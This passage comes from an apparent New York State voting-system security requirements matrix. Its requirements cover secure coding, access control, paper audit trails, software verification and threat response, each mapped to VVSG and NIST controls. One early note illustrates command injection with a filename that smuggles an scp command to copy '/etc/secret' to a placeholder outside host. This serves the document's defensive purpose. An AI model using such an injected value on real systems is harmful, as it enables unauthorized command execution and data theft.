Documented Dependencies	Source code	Additional Notes	<p><i>A user-supplied filename can use any number of exploits to compromise a system's integrity and accuracy. Imagine a filename in a UNIX system like "/tmp/a; scp /etc/secret bad.place.com:/tmp/secret". Any command can, in fact, be executed after the semicolon as long as the code for a file copy looks like "system ("cp my_internal_file \$user_supplied_input\$"),". Thus, user-supplied filenames (like all externally-supplied data) must be validated carefully.</i></p>

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Req #	5.28	Test Method	<i>Code Review: Comprehensive Examine</i>
Mapping	CIBER Security: Secure Coding Practices	Test Procedures	<i>High level test procedures for this requirement may include the following: 1. Examine the source code for “printf” and similar commands that require format strings. 2. Those format strings that are not constants must be checked to ensure that no user-supplied tainted string can appear in them.</i>
Requirement Description	The system code guards against format string vulnerabilities.		
Documented Dependencies	Source code	Additional Notes	<i>Format string vulnerabilities can occur when a format string (or portion of a string) is supplied by a user or other untrusted source. Rationale: The voting system’s software does not contain any code, procedures, or other material that may disable, disarm, or otherwise affect in any manner, the proper operation of the voting system, or that may damage the voting system, any hardware, or any computer system or other property of the State Board or county board, including but not limited to ‘viruses,’ ‘worms,’ ‘time bombs,’ and ‘drop dead’ devices that may cause the voting system to cease functioning properly.</i>
Req #	5.29	Test Method	<i>Code Review: Comprehensive Examine</i>
Mapping	NYS 6209 Regulations 6209.2.G	Test Procedures	<i>High level test procedures for this requirement may include the following: Examine the application and system architecture to find vectors by which malware can be installed (e.g., memory cards, any time data is stored on disk). If code can be installed, safeguards against malware must be in place.</i>
Requirement Description	The voting system’s software does not contain any code, procedures, or other material that may disable, disarm, or otherwise affect in any manner, the proper operation of the voting system, or which may damage the voting system, any hardware, or any computer system or other property of the State Board or county board, including but not limited to		

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	'viruses', 'worms', 'time bombs', and 'drop dead' devices that may cause the voting system to cease functioning properly at a future time.		
Documented Dependencies	Source code	Additional Notes	<i>Malware is well-known to wreak havoc on all kinds of systems. Such code must not be allowed to execute on the application's system.</i>
Req #	5.30	Test Method	<i>Code Review: Comprehensive Examine</i>
Mapping	VVSG Volume 1 Section 5 (5.2.2.a; 5.2.2.b; 5.2.2.c)	Test Procedures	<i>High level test procedures for this requirement may include the following: The procedures for the sections mentioned in the rationale should cover all the cases required by the VVSG.</i>
Requirement Description	The system's development environment provides controls to prevent accidental or deliberate attempts to replace executable code through unbounded arrays or strings (includes buffers used to move data); Pointer variables; Dynamic memory allocation and management.		
Documented Dependencies	Source code	Additional Notes	<i>To determine if the system's development environment provides controls to prevent accidental or deliberate attempts to replace executable code through unbounded arrays or strings (includes buffers used to move data); Pointer variables; Dynamic memory allocation and management.</i>
Req #	5.31	Test Method	<i>Code Review and Functional: Comprehensive Examine and Functional Test</i>
Mapping	NYS 6209 Regulations 6209.2.F.10(a)	Test Procedures	<i>High level test procedures for this requirement may include the following:</i>
Requirement Description	All cryptographic software in the voting system has been approved by the U.S. Government's Crypto Module Validation Program (CMVP).		<i>1. Identify any cryptographic software in use on the system. 2. Identify its provenance and approval status with the U. S. Government's Crypto Module Validation Program.</i>
Documented Dependencies	Source code	Additional Notes	<i>Cryptographic software is surprisingly difficult to "get right". The slightest coding</i>

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			<i>error destroys all anticipated security that cryptography might provide. For this reason, validation is a good requirement for crypto modules.</i>
Req #	5.32	Test Method	<i>Code Review and Functional: Comprehensive Examine and Functional Test</i>
Mapping	VVSG Volume 1 Section 7 (7.7.3.a.ii); NIST SP800-53-rev1 IA-7; NIST SP800-53-rev1 SC-13	Test Procedures	<i>High level test procedures for this requirement may include the following: 1. Identify the existence and provenance of any crypto authentication module 2. Cross-reference those with FIPS 140-2 approved modules.</i>
Requirement Description	For authentication to a cryptographic module, the system employs authentication that meets the requirements of FIPS 140-2 (as amended).		
Documented Dependencies	Source code	Additional Notes	<i>Those cryptographic modules that require authentication require valid authentication. Another vital tricky element to program, the 126 page FIPS 140-2 document provides guidelines to ensure that the validation is implemented properly.</i>
Req #	5.33	Test Method	<i>Code Review: Comprehensive Examine</i>
Mapping	VVSG Volume 2 Section 5 (5.4)	Test Procedures	<i>High level test procedures for this requirement may include the following: 1. Check vendor software design documentation for conformity of code to specifications</i>
Requirement Description	The accredited test lab shall compare the source code to the vendor's software design documentation to ascertain how completely the software conforms to the vendor's specifications.		
Documented Dependencies	Vendor documentation; Source code	Additional Notes	<i>To determine if the software being tested has undocumented features, missing features, or lacks conformity to the described voting system in the documentation.</i>

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Req #	5.34	Test Method	<i>Code Review: Comprehensive Examine</i>
Mapping	VVSG Volume 2 Section 5 (5.4)	Test Procedures	<i>High level test procedures for this requirement may include the following: [See Requirement 5.30]</i>
Requirement Description	Source code inspection shall also assess the extent to which the code adheres to the requirements in Volume I, Section 5		
Documented Dependencies	Source code	Additional Notes	<i>The source code is properly programmed and that logic errors, proper programming practices, and proper management are applied uniformly.</i>
<hr/>			
Req #	5.35	Test Method	<i>Functional: Comprehensive Examine</i>
Mapping	VVSG Volume 2 Section 5 (5.3)	Test Procedures	<i>High level test procedures for this requirement may include the following: 1. Check vendor TDP for clarification of source code for review purposes During the course of the test the tester may need to reference the documentation to identify the nature of the source code. If the documentation is not adequate for making a decision, this test will automatically fail.</i>
Requirement Description	Prior to initiating the software review, the accredited test lab shall verify that the documentation submitted by the vendor in the TDP is sufficient to enable review of the source code.		
Documented Dependencies	Vendor documentation: TDP	Additional Notes	<i>Without proper documentation, system testing is not possible.</i>
<End of New York State Voting Secure Coding Security Requirements>			

SPECIFIC SECURITY REQUIREMENTS

This section describes essential security capabilities for a voting system, encompassing the system's hardware, software, communications and documentation.

Req #	6.1	Test Method	<i>Functional: Generalized Examine</i>
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Mapping	VVSG Volume 1 Section 7 (7.2.1)		
Requirement Description	The vendor shall specify the general features and capabilities of the access control policy recommended to provide effective voting system security.		
Documented Dependencies	Vendor documentation	Additional Notes	
Req #	6.2	Test Method	<i>Functional: Focused Examine</i>
Mapping	VVSG Volume 1 Section 7 (7.2.1.a through 7.2.1.h)		
Requirement Description	The vendor shall provide a description of recommended policies for: <ul style="list-style-type: none"> a. Software access controls b. Hardware access controls c. Communications d. Effective password management e. Protection abilities of a particular operating system f. General characteristics of supervisory access privileges g. Segregation of duties h. Any additional relevant characteristics 		
Documented Dependencies	Vendor documentation	Additional Notes	<i>For "Any additional relevant characteristics", these should be listed out.</i>
Req #	6.3	Test Method	<i>Functional: Comprehensive Examine</i>
Mapping	VVSG Volume 1 Section 7 (7.2.1.1.a)		
Requirement Description	Voting system vendors shall identify each person to whom access is granted, and the specific functions and data to which each person holds authorized access.		
Documented Dependencies	Vendor documentation	Additional Notes	

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Req #	6.4	Test Method	<i>Functional: Focused Examine</i>
Mapping	VVSG Volume 1 Section 7 (7.2.1.1.b); NIST SP800-53-rev1 AC-12		
Requirement Description	Voting system vendors shall specify whether an individual's authorization is limited to a specific time, time interval or phase of the voting or counting operations.		
Documented Dependencies	Vendor documentation	Additional Notes	
Req #	6.5	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 7 (7.2.1.1.c)		
Requirement Description	Voting system vendors shall permit the voter to cast a ballot expeditiously, but preclude voter access to all aspects of the vote counting processes.		
Documented Dependencies	Vendor documentation	Additional Notes	
Req #	6.6	Test Method	<i>Functional: Focused Examine</i>
Mapping	VVSG Volume 1 Section 7 (7.2.1.2); NIST SP800-53-rev1 AC-3(1)		
Requirement Description	Vendors shall provide a detailed description of all system access control measures designed to permit authorized access to the system and prevent unauthorized access.		
Documented Dependencies	Vendor documentation	Additional Notes	<i>Examples of such measures include:</i> <ul style="list-style-type: none"> <i>a. Use of data and user authorization</i> <i>b. Program unit ownership and other regional boundaries</i> <i>c. One-end or two-end port protection devices</i> <i>d. Security kernels</i> <i>e. Computer-based password keys</i> <i>f. Special protocols</i>

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			g. <i>Message encryption</i> h. <i>Controlled access security</i>
Req #	6.7	Test Method	<i>Functional: Focused Examine</i>
Mapping	VVSG Volume 1 Section 7 (7.2.1.2)		
Requirement Description	Vendors shall define and provide a detailed description of the methods used to prevent unauthorized access to the access control capabilities of the system itself.		
Documented Dependencies	Vendor documentation	Additional Notes	
Req #	6.8	Test Method	<i>Functional: Focused Examine</i>
Mapping	VVSG Volume 1 Section 7 (7.3.1)		
Requirement Description	For polling place operations, vendors shall develop and provide detailed documentation of measures to enable poll workers to physically protect and perform orderly shutdown of voting equipment to counteract vandalism, civil disobedience, and similar occurrences.		
Documented Dependencies	Vendor documentation	Additional Notes	
Req #	6.9	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 7 (7.3.1)		
Requirement Description	For polling place operations, vendors shall allow the immediate detection of tampering with vote casting devices and precinct ballot counters.		
Documented Dependencies		Additional Notes	
Req #	6.10	Test Method	<i>Functional: Comprehensive Examine</i>
Mapping	VVSG Volume 1 Section 7 (7.3.2)		
Requirement	Vendors shall develop and document in detail the		

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Description	measures to be taken in a central counting environment. These measures shall include physical and procedural controls related to the handling of ballot boxes, preparing of ballots for counting, counting operations and reporting data.		
Documented Dependencies	Vendor documentation	Additional Notes	
Req #	6.11	Test Method	<i>Functional: Generalized Examine</i>
Mapping	VVSG Volume 1 Section 7 (7.4.1.a)		
Requirement Description	If software is resident in the system as firmware, the vendor shall require and state in the system documentation that every device is to be retested to validate each ROM prior to the start of elections operations.		
Documented Dependencies	Vendor documentation	Additional Notes	
Req #	6.12	Test Method	<i>Functional: Test and Generalized Examine</i>
Mapping	VVSG Volume 1 Section 7 (7.4.1.b)		
Requirement Description	To prevent alteration of executable code, no software shall be permanently installed or resident in the voting system unless the system documentation states that the jurisdiction must provide a secure physical and procedural environment for the storage, handling, preparation, and transportation of the system hardware.		
Documented Dependencies	Vendor documentation	Additional Notes	
Req #	6.13	Test Method	<i>Functional: Structural Test</i>
Mapping	VVSG Volume 1 Section 7 (7.4.1.c)		
Requirement Description	The voting system bootstrap, monitor, and device-controller software may be resident permanently as		

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	firmware, provided that this firmware has been shown to be inaccessible to activation or control by any means other than by the authorized initiation and execution of the vote counting program, and its associated exception handlers.		
Documented Dependencies		Additional Notes	
Req #	6.14	Test Method	<i>Functional: Structural Test</i>
Mapping	VVSG Volume 1 Section 7 (7.4.1.d)		
Requirement Description	The election-specific programming may be installed and resident as firmware, provided that such firmware is installed on a component (such as a computer chip) other than the component on which the operating system resides.		
Documented Dependencies		Additional Notes	
Req #	6.15	Test Method	<i>Functional: Structural Test</i>
Mapping	VVSG Volume 1 Section 7 (7.4.1.e)		
Requirement Description	After initiation of election day testing, no source code or compilers or assemblers shall be resident or accessible.		
Documented Dependencies		Additional Notes	
Req #	6.16	Test Method	<i>Functional: Test and Focused Examine</i>
Mapping	VVSG Volume 1 Section 7 (7.4.2)		
Requirement Description	(i). Voting systems shall deploy protection against the many forms of threats to which they may be exposed such as file and macro viruses, worms, Trojan horses, and logic bombs. (ii). Vendors shall develop and document the		

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	procedures to be followed to ensure that such protection is maintained in a current status.		
Documented Dependencies	Vendor documentation	Additional Notes	
Req #	6.17	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 7 (7.9.1.a)		
Requirement Description	The voting system shall print and display a paper record of the voter ballot selections prior to the voter making his or her selections final by casting the ballot.		
Documented Dependencies		Additional Notes	
Req #	6.18	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 7 (7.9.1.b)		
Requirement Description	The paper record shall constitute a complete record of ballot selections that can be used to assess the accuracy of the voting machine's electronic record, to verify the election results, and, if required by state law, in full recounts.		
Documented Dependencies		Additional Notes	
Req #	6.19	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 7 (7.9.1.c)		
Requirement Description	The paper record shall contain all voter selection information stored in the electronic (ballot image) record.		
Documented Dependencies		Additional Notes	
Req #	6.20	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 7 (7.9.2.a)		

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Requirement Description	The voting equipment shall allow the voter to approve or void the paper record.		
Documented Dependencies		Additional Notes	
Req #	6.21	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 7 (7.9.2.b)		
Requirement Description	The voting equipment shall, in the presence of the voter, mark the paper record as being approved by the voter if the ballot selections are accepted; or voided or if the voter decides to change one or more selections.		
Documented Dependencies		Additional Notes	
Req #	6.22	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 7 (7.9.2.c)		
Requirement Description	If the records do not match, the voting equipment shall mark and preserve the paper record and shall provide a means to preserve the corresponding electronic record so the source of error or malfunction can be analyzed.		
Documented Dependencies		Additional Notes	
Req #	6.23	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 7 (7.9.2.d)		
Requirement Description	The voting machine shall not record the electronic record until the paper record has been approved by the voter.		
Documented Dependencies		Additional Notes	
Req #	6.24	Test Method	<i>Functional: Comprehensive Examine</i>

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Mapping	VVSG Volume 1 Section 7 (7.9.2.e)		
Requirement Description	Vendor documentation shall include procedures to enable the election official to return a voting machine to correct operation after a voter has used it incompletely or incorrectly. This procedure shall not cause discrepancies between the tallies of the electronic and paper records.		
Documented Dependencies	Vendor documentation	Additional Notes	
Req #	6.25	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 7 (7.9.3.a)		
Requirement Description	All cryptographic software in the voting system shall be approved by the U.S. Government's Cryptographic Module Validation Program, as applicable.		
Documented Dependencies		Additional Notes	
Req #	6.26	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 7 (7.9.3.b.i)		
Requirement Description	The electronic ballot image and paper records shall include information about the election. The voting equipment shall be able to include an identification of the particular election, the voting site and precinct, and the voting machine.		
Documented Dependencies		Additional Notes	
Req #	6.27	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 7 (7.9.3.b.ii)		
Requirement Description	The electronic ballot image and paper records shall include information about the election.		

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	The records shall include information identifying whether the balloting is provisional, early, or on election day, and information that identifies the ballot style in use.		
Documented Dependencies		Additional Notes	
Req #	6.28	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 7 (7.9.3.b.iii)		
Requirement Description	The electronic ballot image and paper records shall include information about the election. The records shall include a voting session identifier that is generated when the voting equipment is placed in voting mode, and that can be used to identify the records as being created during that voting session.		
Documented Dependencies		Additional Notes	
Req #	6.29	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 7 (7.9.3.c)		
Requirement Description	The electronic ballot image and paper records shall be linked by including a unique identifier within each record that can be used to identify each record uniquely and each record's corresponding record.		
Documented Dependencies		Additional Notes	
Req #	6.30	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 7 (7.9.3.d)		
Requirement Description	The voting machine should generate and store a digital signature for each electronic record.		

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Documented Dependencies		Additional Notes	
Req #	6.31	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 7 (7.9.3.e.i)		
Requirement Description	<p>The electronic ballot image records shall be able to be exported for auditing or analysis on standards-based and /or COTS information technology computing platforms.</p> <p>The exported electronic ballot image records shall be in a publicly available, non-proprietary format.</p>		
Documented Dependencies		Additional Notes	
Req #	6.32	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 7 (7.9.3.e.ii)		
Requirement Description	<p>The electronic ballot image records shall be able to be exported for auditing or analysis on standards-based and /or COTS information technology computing platforms.</p> <p>The records should be exported with a digital signature, which shall be calculated on the entire set of electronic records and their associated digital.</p>		
Documented Dependencies		Additional Notes	
Req #	6.33	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 7 (7.9.3.e.iii)		
Requirement Description	The electronic ballot image records shall be able to be exported for auditing or analysis on standards-based and /or COTS information technology computing platforms.		

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	The voting system vendor shall provide documentation as to the structure of the exported ballot image records and how they shall be read and processed by software.		
Documented Dependencies		Additional Notes	
Req #	6.34	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 7 (7.9.3.e.iv)		
Requirement Description	<p>The electronic ballot image records shall be able to be exported for auditing or analysis on standards-based and /or COTS information technology computing platforms.</p> <p>The voting system vendor shall provide a software program that will display the exported ballot image records and that may include other capabilities such as providing vote tallies and indications of undervotes.</p>		
Documented Dependencies		Additional Notes	
Req #	6.35	Test Method	<i>Functional: Functional Test; Generalized Examine</i>
Mapping	VVSG Volume 1 Section 7 (7.9.3.e.v)		
Requirement Description	<p>The electronic ballot image records shall be able to be exported for auditing or analysis on standards-based and /or COTS information technology computing platforms.</p> <p>The voting system vendor shall provide full documentation of procedures for exporting electronic ballot image records and reconciling those records with the paper audit records.</p>		

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Documented Dependencies		Additional Notes	
Req #	6.36	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 7 (7.9.3.g.i)		
Requirement Description	<p>The paper record shall be created such that its contents are machine readable.</p> <p>The paper record shall contain error correcting codes for the purpose of detecting read errors and for preventing other markings on the paper record from being misinterpreted when machine reading the paper record.</p>		
Documented Dependencies		Additional Notes	
Req #	6.37	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 7 (7.9.3.h.i)		
Requirement Description	<p>If barcode is used, the voting equipment shall be able to print a barcode with each paper record that contains the human-readable contents of the paper record.</p> <p>The barcode shall use an industry standard format and shall be able to be read using readily available commercial technology.</p>		
Documented Dependencies		Additional Notes	
Req #	6.38	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 7 (7.9.3.h.ii)		
Requirement Description	If barcode is used, the voting equipment shall be able to print a barcode with each paper record that contains the human-readable contents of the paper		

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	record. If the corresponding electronic record contains a digital signature, the digital signature shall be included in the barcode on the paper record.		
Documented Dependencies		Additional Notes	
Req #	6.39	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 7 (7.9.3.h.iii)		
Requirement Description	If barcode is used, the voting equipment shall be able to print a barcode with each paper record that contains the human-readable contents of the paper record. The barcode shall not contain any information other than the paper record's human-readable content, error correcting codes, and digital signature information.		
Documented Dependencies		Additional Notes	
Req #	6.40	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 7 (7.9.4.c)		
Requirement Description	If the connection between the voting machine and the printer has been broken, the voting machine shall detect this event and record it in the DRE internal audit log.		
Documented Dependencies		Additional Notes	
Req #	6.41	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 7 (7.9.4.h)		
Requirement	If an error or malfunction occurs, the voting		

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Description	machine shall suspend voting operations and should present a clear indication to the voter and election officials of the malfunction.		
Documented Dependencies		Additional Notes	
Req #	6.42	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 7 (7.9.4.i)		
Requirement Description	The voting machine shall not record votes if an error or malfunction occurs.		
Documented Dependencies		Additional Notes	
Req #	6.43	Test Method	<i>Functional: Penetration Test</i>
Mapping	VVSG Volume 1 Section 7 (7.9.4.j)		
Requirement Description	Printing devices should contain sufficient supplies of paper and ink to avoid reloading or opening equipment covers or enclosures and thus potential circumvention of security features; or be able to reload paper and ink with minimal disruption to voting and without circumvention of security features such as seals.		
Documented Dependencies		Additional Notes	
Req #	6.44	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 7 (7.9.4.m)		
Requirement Description	Protective coverings intended to be transparent on voting equipment shall be maintainable via a predefined cleaning process. If the coverings become damaged such that they obscure the paper record, they shall be replaceable.		
Documented Dependencies		Additional Notes	

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Req #	6.45	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 7 (7.9.4.n)		
Requirement Description	The paper record shall be sturdy, clean, and of sufficient durability to be used for verifications, reconciliations, and recounts conducted manually or by automated processing.		
Documented Dependencies		Additional Notes	
Req #	6.46	Test Method	<i>Functional: Penetration Test</i>
Mapping	VVSG Volume 1 Section 7 (7.9.5.a)		
Requirement Description	Voter privacy shall be preserved during the process of recording, verifying and auditing his or her ballot selections.		
Documented Dependencies		Additional Notes	
Req #	6.47	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 7 (7.9.5.b)		
Requirement Description	When a VVPAT with a spool-to-spool continuous paper record is used, a means shall be provided to preserve the secrecy of the paper record of voter selections.		
Documented Dependencies		Additional Notes	
Req #	6.48	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 7 (7.9.5.c)		
Requirement Description	When a VVPAT with a spool-to-spool continuous paper record is used, no record shall be maintained of which voters used which voting machine or the order in which they voted.		
Documented		Additional Notes	

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Dependencies			
Req #	6.49	Test Method	<i>Functional: Penetration Test</i>
Mapping	VVSG Volume 1 Section 7 (7.9.5.d)		
Requirement Description	The electronic and paper records shall be created and stored in ways that preserve the privacy of the voter.		
Documented Dependencies		Additional Notes	
Req #	6.50	Test Method	<i>Functional: Penetration Test</i>
Mapping	VVSG Volume 1 Section 7 (7.9.5.e)		
Requirement Description	The privacy of voters whose paper records contain an alternative language shall be maintained.		
Documented Dependencies		Additional Notes	
Req #	6.51	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 7 (7.9.5.f)		
Requirement Description	Unique identifiers shall not be displayed in a way that is easily memorable by the voter.		
Documented Dependencies		Additional Notes	
Req #	6.52	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 7 (7.9.5.g)		
Requirement Description	Both paper rolls and paper record secure receptacles shall be controlled, protected, and preserved with the same security as a ballot box.		
Documented Dependencies		Additional Notes	
Req #	6.53	Test Method	<i>Functional: Comprehensive Examine</i>
Mapping	VVSG Volume 1 Section 7 (7.4.4.a.i)		

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Requirement Description	The vendor shall document all software including voting system software, third party software (such as operating systems and drivers) to be installed on the certified voting system, and installation programs. The documentation shall have a unique identifier (such as a serial number or part number) for the following set of information: documentation, software vendor name, product name, version, the certification application number of the voting system, file names and paths or other location information (such as storage addresses) of the software.		
Documented Dependencies	Vendor documentation	Additional Notes	
Req #	6.54	Test Method	<i>Functional: Comprehensive Examine</i>
Mapping	VVSG Volume 1 Section 7 (7.4.4.a.ii)		
Requirement Description	The vendor shall document all software including voting system software, third party software (such as operating systems and drivers) to be installed on the certified voting system, and installation programs. The documentation shall designate all software files as static, semi-static or dynamic.		
Documented Dependencies	Vendor documentation	Additional Notes	
Req #	6.55	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 7 (7.4.6.a)		
Requirement Description	Setup validation methods shall verify that no unauthorized software is present on the voting equipment.		

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Documented Dependencies		Additional Notes	
Req #	6.56	Test Method	<i>Functional: Comprehensive Examine</i>
Mapping	VVSG Volume 1 Section 7 (7.4.6.b.i)		
Requirement Description	<p>The vendor shall have a process to verify that the correct software is loaded, that there is no unauthorized software, and that voting system software on voting equipment has not been modified, using the reference information from the NSRL or from a State designated repository.</p> <p>The process used to verify software should be possible to perform without using software installed on the voting system.</p>		
Documented Dependencies	Vendor process documentation	Additional Notes	
Req #	6.57	Test Method	<i>Functional: Focused Examine</i>
Mapping	VVSG Volume 1 Section 7 (7.4.6.b.ii)		
Requirement Description	<p>The vendor shall have a process to verify that the correct software is loaded, that there is no unauthorized software, and that voting system software on voting equipment has not been modified, using the reference information from the NSRL or from a State designated repository.</p> <p>The vendor shall document the process used to verify software on voting equipment.</p>		
Documented Dependencies	Vendor process documentation	Additional Notes	
Req #	6.58	Test Method	<i>Functional: Comprehensive Examine</i>
Mapping	VVSG Volume 1 Section 7 (7.4.6.b.iii)		

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Requirement Description	The vendor shall have a process to verify that the correct software is loaded, that there is no unauthorized software, and that voting system software on voting equipment has not been modified, using the reference information from the NSRL or from a State designated repository. The process shall not modify the voting system software on the voting system during the verification process.		
Documented Dependencies	Vendor process documentation	Additional Notes	
Req #	6.59	Test Method	<i>Functional: Test and Focused Examine</i>
Mapping	VVSG Volume 1 Section 7 (7.4.6.c)		
Requirement Description	The vendor shall provide a method to comprehensively list all software files that are installed on voting systems.		
Documented Dependencies	Vendor documentation	Additional Notes	
Req #	6.60	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 7 (7.4.6.d.i)		
Requirement Description	The verification process should be able to be performed using COTS software and hardware available from sources other than the voting system vendor. If the process uses hashes or digital signatures, then the verification software shall use a FIPS 140-2 level 1 or higher validated cryptographic module.		
Documented Dependencies		Additional Notes	

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Req #	6.61	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 7 (7.4.6.d.ii)		
Requirement Description	<p>The verification process should be able to be performed using COTS software and hardware available from sources other than the voting system vendor.</p> <p>The verification process shall either (a) use reference information on unalterable storage media received from the repository or (b) verify the digital signature of the reference information on any other media.</p>		
Documented Dependencies		Additional Notes	
Req #	6.62	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 7 (7.4.6.e.i)		
Requirement Description	<p>Voting system equipment shall provide a means to ensure that the system software can be verified through a trusted external interface, such as a read-only external interface, or by other means.</p> <p>The external interface shall be protected using tamper evident techniques.</p>		
Documented Dependencies		Additional Notes	
Req #	6.63	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 7 (7.4.6.e.ii)		
Requirement Description	<p>Voting system equipment shall provide a means to ensure that the system software can be verified through a trusted external interface, such as a read-only external interface, or by other means.</p> <p>The external interface shall have a physical</p>		

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	indicator showing when the interface is enabled and disabled.		
Documented Dependencies		Additional Notes	
Req #	6.64	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 7 (7.4.6.e.iii)		
Requirement Description	Voting system equipment shall provide a means to ensure that the system software can be verified through a trusted external interface, such as a read-only external interface, or by other means. The external interface shall be disabled during voting.		
Documented Dependencies		Additional Notes	
Req #	6.65	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 7 (7.4.6.e.iv)		
Requirement Description	Voting system equipment shall provide a means to ensure that the system software can be verified through a trusted external interface, such as a read-only external interface, or by other means. The external interface should provide a direct read-only access to the location of the voting system software without the use of installed software.		
Documented Dependencies		Additional Notes	
Req #	6.66	Test Method	<i>Functional: Structural Test</i>
Mapping	VVSG Volume 1 Section 7 (7.4.6.f.i)		
Requirement Description	Setup validation methods shall verify that registers and variables of the voting system equipment		

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	<p>contain the proper static and initial values.</p> <p>The vendor should provide a method to query the voting system to determine the values of all static and dynamic registers and variables including the values that jurisdictions are required to modify to conduct a specific election.</p>		
Documented Dependencies		Additional Notes	
Req #	6.67	Test Method	<i>Functional: Structural Test</i>
Mapping	VVSG Volume 1 Section 7 (7.4.6.f.ii)		
Requirement Description	<p>Setup validation methods shall verify that registers and variables of the voting system equipment contain the proper static and initial values.</p> <p>The vendor shall document the values of all static registers and variables, and the initial starting values of all dynamic registers and variables listed for voting system software, except for the values set to conduct a specific election.</p>		
Documented Dependencies		Additional Notes	
Req #	6.68	Test Method	<i>Functional: Comprehensive Examine</i>
Mapping	VVSG Volume 1 Section 7 (7.5.3.a)		
Requirement Description	<p>Vendors of such systems shall document how they plan to monitor and respond to known threats to which their voting systems are vulnerable. This documentation shall provide a detailed description, including scheduling information, of the procedures the vendor will use to:</p> <p>Monitor threats, such as through the review of assessments, advisories, and alerts for COTS</p>		

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	components issued by the Computer Emergency Response Team (CERT), for which a current listing can be found at http://www.cert.org , the National Infrastructure Protection Center (NIPC), and the Federal Computer Incident Response Capability (FedCIRC), for which additional information can be found at www.uscert.gov		
Documented Dependencies	Vendor documentation	Additional Notes	
Req #	6.69	Test Method	<i>Functional: Comprehensive Examine</i>
Mapping	VVSG Volume 1 Section 7 (7.5.3.b)		
Requirement Description	Vendors of such systems shall document how they plan to monitor and respond to known threats to which their voting systems are vulnerable. This documentation shall provide a detailed description, including scheduling information, of the procedures the vendor will use to: Evaluate the threats and, if any, proposed responses.		
Documented Dependencies	Vendor documentation	Additional Notes	
Req #	6.70	Test Method	<i>Functional: Comprehensive Examine</i>
Mapping	VVSG Volume 1 Section 7 (7.5.3.c)		
Requirement Description	Vendors of such systems shall document how they plan to monitor and respond to known threats to which their voting systems are vulnerable. This documentation shall provide a detailed description, including scheduling information, of the procedures the vendor will use to: Develop responsive updates to the system and/or corrective procedures.		
Documented	Vendor documentation	Additional Notes	

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Dependencies			
Req #	6.71	Test Method	<i>Functional: Comprehensive Examine</i>
Mapping	VVSG Volume 1 Section 7 (7.5.3.d)		
Requirement Description	<p>Vendors of such systems shall document how they plan to monitor and respond to known threats to which their voting systems are vulnerable. This documentation shall provide a detailed description, including scheduling information, of the procedures the vendor will use to:</p> <p>Submit the proposed response to the test labs and appropriate states for approval, identifying the exact changes and whether or not they are temporary or permanent.</p>		
Documented Dependencies	Vendor documentation	Additional Notes	
Req #	6.72	Test Method	<i>Functional: Comprehensive Examine</i>
Mapping	VVSG Volume 1 Section 7 (7.5.3.e)		
Requirement Description	<p>Vendors of such systems shall document how they plan to monitor and respond to known threats to which their voting systems are vulnerable. This documentation shall provide a detailed description, including scheduling information, of the procedures the vendor will use to:</p> <p>After implementation of the proposed response is approved by the state, assist clients, either directly or through detailed written procedures, how to update their systems and/or to implement the corrective procedures within the timeframe established by the state.</p>		
Documented Dependencies	Vendor documentation	Additional Notes	

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Req #	6.73	Test Method	<i>Functional: Comprehensive Examine</i>
Mapping	VVSG Volume 1 Section 7 (7.5.3.f.i)		
Requirement Description	<p>Vendors of such systems shall document how they plan to monitor and respond to known threats to which their voting systems are vulnerable. This documentation shall provide a detailed description, including scheduling information, of the procedures the vendor will use to:</p> <p>Address threats emerging too late to correct the system by:</p> <p>Providing prompt, emergency notification to the accredited test labs and the affected states and user jurisdictions.</p>		
Documented Dependencies	Vendor documentation	Additional Notes	
Req #	6.74	Test Method	<i>Functional: Comprehensive Examine</i>
Mapping	VVSG Volume 1 Section 7 (7.5.3.f.ii)		
